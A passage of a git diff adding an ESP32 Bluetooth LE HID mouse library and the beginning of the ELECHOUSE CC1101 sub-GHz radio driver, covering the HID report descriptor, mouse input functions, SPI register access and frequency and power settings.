USAGE_PAGE (Button) + USAGE_MINIMUM(1), 0x01, // USAGE_MINIMUM (Button 1) + USAGE_MAXIMUM(1), 0x05, // USAGE_MAXIMUM (Button 5) + LOGICAL_MINIMUM(1), 0x00, // LOGICAL_MINIMUM (0) + LOGICAL_MAXIMUM(1), 0x01, // LOGICAL_MAXIMUM (1) + REPORT_SIZE(1), 0x01, // REPORT_SIZE (1) + REPORT_COUNT(1), 0x05, // REPORT_COUNT (5) + HIDINPUT(1), 0x02, // INPUT (Data, Variable, Absolute) ;5 button bits + // ------------------------------------------------- Padding + REPORT_SIZE(1), 0x03, // REPORT_SIZE (3) + REPORT_COUNT(1), 0x01, // REPORT_COUNT (1) + HIDINPUT(1), 0x03, // INPUT (Constant, Variable, Absolute) ;3 bit padding + // ------------------------------------------------- X/Y position, Wheel + USAGE_PAGE(1), 0x01, // USAGE_PAGE (Generic Desktop) + USAGE(1), 0x30, // USAGE (X) + USAGE(1), 0x31, // USAGE (Y) + USAGE(1), 0x38, // USAGE (Wheel) + LOGICAL_MINIMUM(1), 0x81, // LOGICAL_MINIMUM (-127) + LOGICAL_MAXIMUM(1), 0x7f, // LOGICAL_MAXIMUM (127) + REPORT_SIZE(1), 0x08, // REPORT_SIZE (8) + REPORT_COUNT(1), 0x03, // REPORT_COUNT (3) + HIDINPUT(1), 0x06, // INPUT (Data, Variable, Relative) ;3 bytes (X,Y,Wheel) + // ------------------------------------------------- Horizontal wheel + USAGE_PAGE(1), 0x0c, // USAGE PAGE (Consumer Devices) + USAGE(2), 0x38, 0x02, // USAGE (AC Pan) + LOGICAL_MINIMUM(1), 0x81, // LOGICAL_MINIMUM (-127) + LOGICAL_MAXIMUM(1), 0x7f, // LOGICAL_MAXIMUM (127) + REPORT_SIZE(1), 0x08, // REPORT_SIZE (8) + REPORT_COUNT(1), 0x01, // REPORT_COUNT (1) + HIDINPUT(1), 0x06, // INPUT (Data, Var, Rel) + END_COLLECTION(0), // END_COLLECTION + END_COLLECTION(0) // END_COLLECTION +}; + +BleMouse::BleMouse(std::string deviceName, std::string deviceManufacturer, uint8_t batteryLevel) : + _buttons(0), + hid(0) +{ + this->deviceName = deviceName; + this->deviceManufacturer = deviceManufacturer; + this->batteryLevel = batteryLevel; + this->connectionStatus = new BleConnectionStatus(); +} + +void BleMouse::begin(void) +{ + xTaskCreate(this->taskServer, "server", 20000, (void *)this, 5, NULL); +} + +void BleMouse::end(void) +{ +} + +void BleMouse::click(uint8_t b) +{ + _buttons = b; + move(0,0,0,0); + _buttons = 0; + move(0,0,0,0); +} + +void BleMouse::move(signed char x, signed char y, signed char wheel, signed char hWheel) +{ + if (this->isConnected()) + { + uint8_t m[5]; + m[0] = _buttons; + m[1] = x; + m[2] = y; + m[3] = wheel; + m[4] = hWheel; + this->inputMouse->setValue(m, 5); + this->inputMouse->notify(); + } +} + +void BleMouse::buttons(uint8_t b) +{ + if (b != _buttons) + { + _buttons = b; + move(0,0,0,0); + } +} + +void BleMouse::press(uint8_t b) +{ + buttons(_buttons | b); +} + +void BleMouse::release(uint8_t b) +{ + buttons(_buttons & ~b); +} + +bool BleMouse::isPressed(uint8_t b) +{ + if ((b & _buttons) > 0) + return true; + return false; +} + +bool BleMouse::isConnected(void) { + return this->connectionStatus->connected; +} + +void BleMouse::setBatteryLevel(uint8_t level) { + this->batteryLevel = level; + if (hid != 0) + this->hid->setBatteryLevel(this->batteryLevel); +} + +void BleMouse::taskServer(void* pvParameter) { + BleMouse* bleMouseInstance = (BleMouse *) pvParameter; //static_cast<BleMouse *>(pvParameter); + BLEDevice::init(std::string(bleMouseInstance->deviceName.c_str())); + BLEServer *pServer = BLEDevice::createServer(); + pServer->setCallbacks(bleMouseInstance->connectionStatus); + + bleMouseInstance->hid = new BLEHIDDevice(pServer); + bleMouseInstance->inputMouse = bleMouseInstance->hid->inputReport(0); // <-- input REPORTID from report map + bleMouseInstance->connectionStatus->inputMouse = bleMouseInstance->inputMouse; + + bleMouseInstance->hid->manufacturer()->setValue(std::string(bleMouseInstance->deviceManufacturer.c_str())); + + bleMouseInstance->hid->pnp(0x02, 0xe502, 0xa111, 0x0210); + bleMouseInstance->hid->hidInfo(0x00,0x02); + + BLESecurity *pSecurity = new BLESecurity(); + + pSecurity->setAuthenticationMode(ESP_LE_AUTH_BOND); + + bleMouseInstance->hid->reportMap((uint8_t*)_hidReportDescriptor, sizeof(_hidReportDescriptor)); + bleMouseInstance->hid->startServices(); + + bleMouseInstance->onStarted(pServer); + + BLEAdvertising *pAdvertising = pServer->getAdvertising(); + pAdvertising->setAppearance(HID_MOUSE); + pAdvertising->addServiceUUID(bleMouseInstance->hid->hidService()->getUUID()); + pAdvertising->start(); + bleMouseInstance->hid->setBatteryLevel(bleMouseInstance->batteryLevel); + + ESP_LOGD(LOG_TAG, "Advertising started!"); + vTaskDelay(portMAX_DELAY); //delay(portMAX_DELAY); +} diff --git a/src/libs/BleMouse.h b/src/libs/BleMouse.h new file mode 100644 index 0000000..8b4ab9b --- /dev/null +++ b/src/libs/BleMouse.h @@ -0,0 +1,45 @@ +#ifndef ESP32_BLE_MOUSE_H +#define ESP32_BLE_MOUSE_H +#include "sdkconfig.h" +#if defined(CONFIG_BT_ENABLED) + +#include "BleConnectionStatus.h" +#include "BLEHIDDevice.h" +#include "BLECharacteristic.h" + +#define MOUSE_LEFT 1 +#define MOUSE_RIGHT 2 +#define MOUSE_MIDDLE 4 +#define MOUSE_BACK 8 +#define MOUSE_FORWARD 16 +#define MOUSE_ALL (MOUSE_LEFT | MOUSE_RIGHT | MOUSE_MIDDLE) # For compatibility with the Mouse library + +class BleMouse { +private: + uint8_t _buttons; + BleConnectionStatus* connectionStatus; + BLEHIDDevice* hid; + BLECharacteristic* inputMouse; + void buttons(uint8_t b); + void rawAction(uint8_t msg[], char msgSize); + static void taskServer(void* pvParameter); +public: + BleMouse(std::string deviceName = "ESP32 Bluetooth Mouse", std::string deviceManufacturer = "Espressif", uint8_t batteryLevel = 100); + void begin(void); + void end(void); + void click(uint8_t b = MOUSE_LEFT); + void move(signed char x, signed char y, signed char wheel = 0, signed char hWheel = 0); + void press(uint8_t b = MOUSE_LEFT); // press LEFT by default + void release(uint8_t b = MOUSE_LEFT); // release LEFT by default + bool isPressed(uint8_t b = MOUSE_LEFT); // check LEFT by default + bool isConnected(void); + void setBatteryLevel(uint8_t level); + uint8_t batteryLevel; + std::string deviceManufacturer; + std::string deviceName; +protected: + virtual void onStarted(BLEServer *pServer) { }; +}; + +#endif // CONFIG_BT_ENABLED +#endif // ESP32_BLE_MOUSE_H diff --git a/src/libs/ELECHOUSE_CC1101_SRC_DRV.cpp b/src/libs/ELECHOUSE_CC1101_SRC_DRV.cpp new file mode 100644 index 0000000..5568989 --- /dev/null +++ b/src/libs/ELECHOUSE_CC1101_SRC_DRV.cpp @@ -0,0 +1,1309 @@ +/*
+ ELECHOUSE_CC1101.cpp - CC1101 module library
+ Copyright (c) 2010 Michael.
+ Author: Michael, <www.elechouse.com>
+ Version: November 12, 2010
+
+ This library is designed to use CC1101/CC1100 module on Arduino platform.
+ CC1101/CC1100 module is an useful wireless module.Using the functions of the
+ library, you can easily send and receive data by the CC1101/CC1100 module.
+ Just have fun!
+ For the details, please refer to the datasheet of CC1100/CC1101.
+----------------------------------------------------------------------------------------------------------------
+cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and publish Wilson Shen (ELECHOUSE).
+----------------------------------------------------------------------------------------------------------------
+*/
+#include <SPI.h>
+#include "ELECHOUSE_CC1101_SRC_DRV.h"
+#include <Arduino.h>
+
+/****************************************************************/
+#define WRITE_BURST 0x40 //write burst
+#define READ_SINGLE 0x80 //read single
+#define READ_BURST 0xC0 //read burst
+#define BYTES_IN_RXFIFO 0x7F //byte number in RXfifo
+#define max_modul 6
+
+SPIClass CCSPI(HSPI);
+
+byte modulation = 2;
+byte frend0;
+byte chan = 0;
+int pa = 12;
+byte last_pa;
+byte SCK_PIN;
+byte MISO_PIN;
+byte MOSI_PIN;
+byte SS_PIN;
+byte GDO0;
+byte GDO2;
+byte SCK_PIN_M[max_modul];
+byte MISO_PIN_M[max_modul];
+byte MOSI_PIN_M[max_modul];
+byte SS_PIN_M[max_modul];
+byte GDO0_M[max_modul];
+byte GDO2_M[max_modul];
+byte gdo_set=0;
+bool spi = 0;
+bool ccmode = 0;
+float MHz = 433.92;
+byte m4RxBw = 0;
+byte m4DaRa;
+byte m2DCOFF;
+byte m2MODFM;
+byte m2MANCH;
+byte m2SYNCM;
+byte m1FEC;
+byte m1PRE;
+byte m1CHSP;
+byte pc1PQT;
+byte pc1CRC_AF;
+byte pc1APP_ST;
+byte pc1ADRCHK;
+byte pc0WDATA;
+byte pc0PktForm;
+byte pc0CRC_EN;
+byte pc0LenConf;
+byte trxstate = 0;
+byte clb1[2]= {24,28};
+byte clb2[2]= {31,38};
+byte clb3[2]= {65,76};
+byte clb4[2]= {77,79};
+
+/****************************************************************/
+uint8_t PA_TABLE[8] {0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00};
+// -30 -20 -15 -10 0 5 7 10
+uint8_t PA_TABLE_315[8] {0x12,0x0D,0x1C,0x34,0x51,0x85,0xCB,0xC2,}; //300 - 348
+uint8_t PA_TABLE_433[8] {0x12,0x0E,0x1D,0x34,0x60,0x84,0xC8,0xC0,}; //387 - 464
+// -30 -20 -15 -10 -6 0 5 7 10 12
+uint8_t PA_TABLE_868[10] {0x03,0x17,0x1D,0x26,0x37,0x50,0x86,0xCD,0xC5,0xC0,}; //779 - 899.99
+// -30 -20 -15 -10 -6 0 5 7 10 11
+uint8_t PA_TABLE_915[10] {0x03,0x0E,0x1E,0x27,0x38,0x8E,0x84,0xCC,0xC3,0xC0,}; //900 - 928
+/****************************************************************
+*FUNCTION NAME:SpiStart
+*FUNCTION :spi communication start
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::SpiStart(void)
+{
+ // initialize the SPI pins
+ pinMode(SCK_PIN, OUTPUT);
+ pinMode(MOSI_PIN, OUTPUT);
+ pinMode(MISO_PIN, INPUT);
+ pinMode(SS_PIN, OUTPUT);
+
+ // enable SPI
+ #ifdef ESP32
+ CCSPI.begin(SCK_PIN, MISO_PIN, MOSI_PIN, SS_PIN);
+ #else
+ CCSPI.begin();
+ #endif
+}
+/****************************************************************
+*FUNCTION NAME:SpiEnd
+*FUNCTION :spi communication disable
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::SpiEnd(void)
+{
+ // disable SPI
+ CCSPI.endTransaction();
+ CCSPI.end();
+}
+/****************************************************************
+*FUNCTION NAME: GDO_Set()
+*FUNCTION : set GDO0,GDO2 pin for serial pinmode.
+*INPUT : none
+*OUTPUT : none
+****************************************************************/
+void ELECHOUSE_CC1101::GDO_Set (void)
+{
+ pinMode(GDO0, OUTPUT);
+ pinMode(GDO2, INPUT);
+}
+/****************************************************************
+*FUNCTION NAME: GDO_Set()
+*FUNCTION : set GDO0 for internal transmission mode.
+*INPUT : none
+*OUTPUT : none
+****************************************************************/
+void ELECHOUSE_CC1101::GDO0_Set (void)
+{
+ pinMode(GDO0, INPUT);
+}
+/****************************************************************
+*FUNCTION NAME:Reset
+*FUNCTION :CC1101 reset //details refer datasheet of CC1101/CC1100//
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::Reset (void)
+{
+ digitalWrite(SS_PIN, LOW);
+ delay(1);
+ digitalWrite(SS_PIN, HIGH);
+ delay(1);
+ digitalWrite(SS_PIN, LOW);
+ while(digitalRead(MISO_PIN));
+ CCSPI.transfer(CC1101_SRES);
+ while(digitalRead(MISO_PIN));
+ digitalWrite(SS_PIN, HIGH);
+}
+/****************************************************************
+*FUNCTION NAME:Init
+*FUNCTION :CC1101 initialization
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::Init(void)
+{
+ setSpi();
+ SpiStart(); //spi initialization
+ digitalWrite(SS_PIN, HIGH);
+ digitalWrite(SCK_PIN, HIGH);
+ digitalWrite(MOSI_PIN, LOW);
+ Reset(); //CC1101 reset
+ RegConfigSettings(); //CC1101 register config
+ SpiEnd();
+}
+/****************************************************************
+*FUNCTION NAME:SpiWriteReg
+*FUNCTION :CC1101 write data to register
+*INPUT :addr: register address; value: register value
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::SpiWriteReg(byte addr, byte value)
+{
+ SpiStart();
+ digitalWrite(SS_PIN, LOW);
+ while(digitalRead(MISO_PIN));
+ CCSPI.transfer(addr);
+ CCSPI.transfer(value);
+ digitalWrite(SS_PIN, HIGH);
+ SpiEnd();
+}
+/****************************************************************
+*FUNCTION NAME:SpiWriteBurstReg
+*FUNCTION :CC1101 write burst data to register
+*INPUT :addr: register address; buffer:register value array; num:number to write
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::SpiWriteBurstReg(byte addr, byte *buffer, byte num)
+{
+ byte i, temp;
+ SpiStart();
+ temp = addr | WRITE_BURST;
+ digitalWrite(SS_PIN, LOW);
+ while(digitalRead(MISO_PIN));
+ CCSPI.transfer(temp);
+ for (i = 0; i < num; i++)
+ {
+ CCSPI.transfer(buffer[i]);
+ }
+ digitalWrite(SS_PIN, HIGH);
+ SpiEnd();
+}
+/****************************************************************
+*FUNCTION NAME:SpiStrobe
+*FUNCTION :CC1101 Strobe
+*INPUT :strobe: command; //refer define in CC1101.h//
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::SpiStrobe(byte strobe)
+{
+ SpiStart();
+ digitalWrite(SS_PIN, LOW);
+ while(digitalRead(MISO_PIN));
+ CCSPI.transfer(strobe);
+ digitalWrite(SS_PIN, HIGH);
+ SpiEnd();
+}
+/****************************************************************
+*FUNCTION NAME:SpiReadReg
+*FUNCTION :CC1101 read data from register
+*INPUT :addr: register address
+*OUTPUT :register value
+****************************************************************/
+byte ELECHOUSE_CC1101::SpiReadReg(byte addr)
+{
+ byte temp, value;
+ SpiStart();
+ temp = addr| READ_SINGLE;
+ digitalWrite(SS_PIN, LOW);
+ while(digitalRead(MISO_PIN));
+ CCSPI.transfer(temp);
+ value=CCSPI.transfer(0);
+ digitalWrite(SS_PIN, HIGH);
+ SpiEnd();
+ return value;
+}
+
+/****************************************************************
+*FUNCTION NAME:SpiReadBurstReg
+*FUNCTION :CC1101 read burst data from register
+*INPUT :addr: register address; buffer:array to store register value; num: number to read
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::SpiReadBurstReg(byte addr, byte *buffer, byte num)
+{
+ byte i,temp;
+ SpiStart();
+ temp = addr | READ_BURST;
+ digitalWrite(SS_PIN, LOW);
+ while(digitalRead(MISO_PIN));
+ CCSPI.transfer(temp);
+ for(i=0;i<num;i++)
+ {
+ buffer[i]=CCSPI.transfer(0);
+ }
+ digitalWrite(SS_PIN, HIGH);
+ SpiEnd();
+}
+
+/****************************************************************
+*FUNCTION NAME:SpiReadStatus
+*FUNCTION :CC1101 read status register
+*INPUT :addr: register address
+*OUTPUT :status value
+****************************************************************/
+byte ELECHOUSE_CC1101::SpiReadStatus(byte addr)
+{
+ byte value,temp;
+ SpiStart();
+ temp = addr | READ_BURST;
+ digitalWrite(SS_PIN, LOW);
+ while(digitalRead(MISO_PIN));
+ CCSPI.transfer(temp);
+ value=CCSPI.transfer(0);
+ digitalWrite(SS_PIN, HIGH);
+ SpiEnd();
+ return value;
+}
+/****************************************************************
+*FUNCTION NAME:SPI pin Settings
+*FUNCTION :Set Spi pins
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::setSpi(void){
+ if (spi == 0){
+ #if defined __AVR_ATmega168__ || defined __AVR_ATmega328P__
+ SCK_PIN = 13; MISO_PIN = 12; MOSI_PIN = 11; SS_PIN = 10;
+ #elif defined __AVR_ATmega1280__ || defined __AVR_ATmega2560__
+ SCK_PIN = 52; MISO_PIN = 50; MOSI_PIN = 51; SS_PIN = 53;
+ #elif ESP8266
+ SCK_PIN = 14; MISO_PIN = 12; MOSI_PIN = 13; SS_PIN = 15;
+ #elif ESP32
+ SCK_PIN = 18; MISO_PIN = 19; MOSI_PIN = 23; SS_PIN = 5;
+ #else
+ SCK_PIN = 13; MISO_PIN = 12; MOSI_PIN = 11; SS_PIN = 10;
+ #endif
+}
+}
+/****************************************************************
+*FUNCTION NAME:COSTUM SPI
+*FUNCTION :set costum spi pins.
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::setSpiPin(byte sck, byte miso, byte mosi, byte ss){
+ spi = 1;
+ SCK_PIN = sck;
+ MISO_PIN = miso;
+ MOSI_PIN = mosi;
+ SS_PIN = ss;
+}
+/****************************************************************
+*FUNCTION NAME:COSTUM SPI
+*FUNCTION :set costum spi pins.
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::addSpiPin(byte sck, byte miso, byte mosi, byte ss, byte modul){
+ spi = 1;
+ SCK_PIN_M[modul] = sck;
+ MISO_PIN_M[modul] = miso;
+ MOSI_PIN_M[modul] = mosi;
+ SS_PIN_M[modul] = ss;
+}
+/****************************************************************
+*FUNCTION NAME:GDO Pin settings
+*FUNCTION :set GDO Pins
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::setGDO(byte gdo0, byte gdo2){
+GDO0 = gdo0;
+GDO2 = gdo2;
+GDO_Set();
+}
+/****************************************************************
+*FUNCTION NAME:GDO0 Pin setting
+*FUNCTION :set GDO0 Pin
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::setGDO0(byte gdo0){
+GDO0 = gdo0;
+GDO0_Set();
+}
+/****************************************************************
+*FUNCTION NAME:GDO Pin settings
+*FUNCTION :add GDO Pins
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::addGDO(byte gdo0, byte gdo2, byte modul){
+GDO0_M[modul] = gdo0;
+GDO2_M[modul] = gdo2;
+gdo_set=2;
+GDO_Set();
+}
+/****************************************************************
+*FUNCTION NAME:add GDO0 Pin
+*FUNCTION :add GDO0 Pin
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::addGDO0(byte gdo0, byte modul){
+GDO0_M[modul] = gdo0;
+gdo_set=1;
+GDO0_Set();
+}
+/****************************************************************
+*FUNCTION NAME:set Modul
+*FUNCTION :change modul
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::setModul(byte modul){
+ SCK_PIN = SCK_PIN_M[modul];
+ MISO_PIN = MISO_PIN_M[modul];
+ MOSI_PIN = MOSI_PIN_M[modul];
+ SS_PIN = SS_PIN_M[modul];
+ if (gdo_set==1){
+ GDO0 = GDO0_M[modul];
+ }
+ else if (gdo_set==2){
+ GDO0 = GDO0_M[modul];
+ GDO2 = GDO2_M[modul];
+ }
+}
+/****************************************************************
+*FUNCTION NAME:CCMode
+*FUNCTION :Format of RX and TX data
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::setCCMode(bool s){
+ccmode = s;
+if (ccmode == 1){
+SpiWriteReg(CC1101_IOCFG2, 0x0B);
+SpiWriteReg(CC1101_IOCFG0, 0x06);
+SpiWriteReg(CC1101_PKTCTRL0, 0x05);
+SpiWriteReg(CC1101_MDMCFG3, 0xF8);
+SpiWriteReg(CC1101_MDMCFG4,11+m4RxBw);
+}else{
+SpiWriteReg(CC1101_IOCFG2, 0x0D);
+SpiWriteReg(CC1101_IOCFG0, 0x0D);
+SpiWriteReg(CC1101_PKTCTRL0, 0x32);
+SpiWriteReg(CC1101_MDMCFG3, 0x93);
+SpiWriteReg(CC1101_MDMCFG4, 7+m4RxBw);
+}
+setModulation(modulation);
+}
+/****************************************************************
+*FUNCTION NAME:Modulation
+*FUNCTION :set CC1101 Modulation
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::setModulation(byte m){
+if (m>4){m=4;}
+modulation = m;
+Split_MDMCFG2();
+switch (m)
+{
+case 0: m2MODFM=0x00; frend0=0x10; break; // 2-FSK
+case 1: m2MODFM=0x10; frend0=0x10; break; // GFSK
+case 2: m2MODFM=0x30; frend0=0x11; break; // ASK
+case 3: m2MODFM=0x40; frend0=0x10; break; // 4-FSK
+case 4: m2MODFM=0x70; frend0=0x10; break; // MSK
+}
+SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM);
+SpiWriteReg(CC1101_FREND0, frend0);
+setPA(pa);
+}
+/****************************************************************
+*FUNCTION NAME:PA Power
+*FUNCTION :set CC1101 PA Power
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::setPA(int p)
+{
+int a;
+pa = p;
+
+if (MHz >= 300 && MHz <= 348){
+if (pa <= -30){a = PA_TABLE_315[0];}
+else if (pa > -30 && pa <= -20){a = PA_TABLE_315[1];}
+else if (pa > -20 && pa <= -15){a = PA_TABLE_315[2];}
+else if (pa > -15 && pa <= -10){a = PA_TABLE_315[3];}
+else if (pa > -10 && pa <= 0){a = PA_TABLE_315[4];}
+else if (pa > 0 && pa <= 5){a = PA_TABLE_315[5];}
+else if (pa > 5 && pa <= 7){a = PA_TABLE_315[6];}
+else if (pa > 7){a = PA_TABLE_315[7];}
+last_pa = 1;
+}
+else if (MHz >= 378 && MHz <= 464){
+if (pa <= -30){a = PA_TABLE_433[0];}
+else if (pa > -30 && pa <= -20){a = PA_TABLE_433[1];}
+else if (pa > -20 && pa <= -15){a = PA_TABLE_433[2];}
+else if (pa > -15 && pa <= -10){a = PA_TABLE_433[3];}
+else if (pa > -10 && pa <= 0){a = PA_TABLE_433[4];}
+else if (pa > 0 && pa <= 5){a = PA_TABLE_433[5];}
+else if (pa > 5 && pa <= 7){a = PA_TABLE_433[6];}
+else if (pa > 7){a = PA_TABLE_433[7];}
+last_pa = 2;
+}
+else if (MHz >= 779 && MHz <= 899.99){
+if (pa <= -30){a = PA_TABLE_868[0];}
+else if (pa > -30 && pa <= -20){a = PA_TABLE_868[1];}
+else if (pa > -20 && pa <= -15){a = PA_TABLE_868[2];}
+else if (pa > -15 && pa <= -10){a = PA_TABLE_868[3];}
+else if (pa > -10 && pa <= -6){a = PA_TABLE_868[4];}
+else if (pa > -6 && pa <= 0){a = PA_TABLE_868[5];}
+else if (pa > 0 && pa <= 5){a = PA_TABLE_868[6];}
+else if (pa > 5 && pa <= 7){a = PA_TABLE_868[7];}
+else if (pa > 7 && pa <= 10){a = PA_TABLE_868[8];}
+else if (pa > 10){a = PA_TABLE_868[9];}
+last_pa = 3;
+}
+else if (MHz >= 900 && MHz <= 928){
+if (pa <= -30){a = PA_TABLE_915[0];}
+else if (pa > -30 && pa <= -20){a = PA_TABLE_915[1];}
+else if (pa > -20 && pa <= -15){a = PA_TABLE_915[2];}
+else if (pa > -15 && pa <= -10){a = PA_TABLE_915[3];}
+else if (pa > -10 && pa <= -6){a = PA_TABLE_915[4];}
+else if (pa > -6 && pa <= 0){a = PA_TABLE_915[5];}
+else if (pa > 0 && pa <= 5){a = PA_TABLE_915[6];}
+else if (pa > 5 && pa <= 7){a = PA_TABLE_915[7];}
+else if (pa > 7 && pa <= 10){a = PA_TABLE_915[8];}
+else if (pa > 10){a = PA_TABLE_915[9];}
+last_pa = 4;
+}
+if (modulation == 2){
+PA_TABLE[0] = 0;
+PA_TABLE[1] = a;
+}else{
+PA_TABLE[0] = a;
+PA_TABLE[1] = 0;
+}
+SpiWriteBurstReg(CC1101_PATABLE,PA_TABLE,8);
+}
+/****************************************************************
+*FUNCTION NAME:Frequency Calculator
+*FUNCTION :Calculate the basic frequency.
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::setMHZ(float mhz){
+byte freq2 = 0;
+byte freq1 = 0;
+byte freq0 = 0;
+
+MHz = mhz;
+
+for (bool i = 0; i==0;){
+if (mhz >= 26){
+mhz-=26;
+freq2+=1;
+}
+else if (mhz >= 0.1015625){
+mhz-=0.1015625;
+freq1+=1;
+}
+else if (mhz >= 0.00039675){
+mhz-=0.00039675;
+freq0+=1;
+}
+else{i=1;}
+}
+if (freq0 > 255){freq1+=1;freq0-=256;}
+
+SpiWriteReg(CC1101_FREQ2, freq2);
+SpiWriteReg(CC1101_FREQ1, freq1);
+SpiWriteReg(CC1101_FREQ0, freq0);
+
+Calibrate();
+}
+/****************************************************************
+*FUNCTION NAME:Calibrate
+*FUNCTION :Calibrate frequency
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::Calibrate(void){
+
+if (MHz >= 300 && MHz <= 348){
+SpiWriteReg(CC1101_FSCTRL0, map(MHz, 300, 348, clb1[0], clb1[1]));
+if (MHz < 322.88){SpiWriteReg(CC1101_TEST0,0x0B);}
+else{
+SpiWriteReg(CC1101_TEST0,0x09);
+int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2);
+if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);}
+if (last_pa != 1){setPA(pa);}
+}
+}
+else if (MHz >= 378 && MHz <= 464){
+SpiWriteReg(CC1101_FSCTRL0, map(MHz, 378, 464, clb2[0], clb2[1]));
+if (MHz < 430.5){SpiWriteReg(CC1101_TEST0,0x0B);}
+else{
+SpiWriteReg(CC1101_TEST0,0x09);
+int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2);
+if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);}
+if (last_pa != 2){setPA(pa);}
+}
+}
+else if (MHz >= 779 && MHz <= 899.99){
+SpiWriteReg(CC1101_FSCTRL0, map(MHz, 779, 899, clb3[0], clb3[1]));
+if (MHz < 861){SpiWriteReg(CC1101_TEST0,0x0B);}
+else{
+SpiWriteReg(CC1101_TEST0,0x09);
+int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2);
+if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);}
+if (last_pa != 3){setPA(pa);}
+}
+}
+else if (MHz >= 900 && MHz <= 928){
+SpiWriteReg(CC1101_FSCTRL0, map(MHz, 900, 928, clb4[0], clb4[1]));
+SpiWriteReg(CC1101_TEST0,0x09);
+int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2);
+if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);}
+if (last_pa != 4){setPA(pa);}
+}
+}
+/****************************************************************
+*FUNCTION NAME:Calibration offset
+*FUNCTION :Set calibration offset
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::setClb(byte b, byte s, byte e){
+if (b == 1){
+clb1[0]=s;
+clb1[1]=e;
+}
+else if (b == 2){
+clb2[0]=s;
+clb2[1]=e;
+}
+else if (b == 3){
+clb3[0]=s;
+clb3[1]=e;
+}
+else if (b == 4){
+clb4[0]=s;
+clb4[1]=e;
+}
+}
+/****************************************************************
+*FUNCTION NAME:getCC1101
+*FUNCTION :Test Spi connection and return 1 when true.
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+bool ELECHOUSE_CC1101::getCC1101(void){
+setSpi();
+if (SpiReadStatus(0x31)>0){
+return 1;
+}else{
+return 0;
+}
+}
+/****************************************************************
+*FUNCTION NAME:getMode
+*FUNCTION :Return the Mode. Sidle = 0, TX = 1, Rx = 2.
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+byte ELECHOUSE_CC1101::getMode(void){
+return trxstate;
+}
+/****************************************************************
+*FUNCTION NAME:Set Sync_Word
+*FUNCTION :Sync Word
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::setSyncWord(byte sh, byte sl){
+SpiWriteReg(CC1101_SYNC1, sh);
+SpiWriteReg(CC1101_SYNC0, sl);
+}
+/****************************************************************
+*FUNCTION NAME:Set ADDR
+*FUNCTION :Address used for packet filtration. Optional broadcast addresses are 0 (0x00) and 255 (0xFF).
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::setAddr(byte v){
+SpiWriteReg(CC1101_ADDR, v);
+}
+/****************************************************************
+*FUNCTION NAME:Set PQT
+*FUNCTION :Preamble quality estimator threshold
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::setPQT(byte v){
+Split_PKTCTRL1();
+pc1PQT = 0;
+if (v>7){v=7;}
+pc1PQT = v*32;
+SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK);
+}
+/****************************************************************
+*FUNCTION NAME:Set CRC_AUTOFLUSH
+*FUNCTION :Enable automatic flush of RX FIFO when CRC is not OK
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::setCRC_AF(bool v){
+Split_PKTCTRL1();
+pc1CRC_AF = 0;
+if (v==1){pc1CRC_AF=8;}
+SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK);
+}
+/****************************************************************
+*FUNCTION NAME:Set APPEND_STATUS
+*FUNCTION :When enabled, two status bytes will be appended to the payload of the packet
+*INPUT :none
+*OUTPUT :none
+****************************************************************/
+void ELECHOUSE_CC1101::setAppendStatus(bool v){
+Split_PKTCTRL1();
+pc1APP_ST = 0;
+if (v==1){pc1APP_ST=4;}
+SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK);
+}
+/****************************************************************
+*FUNCTION NAME:Set ADR_CHK
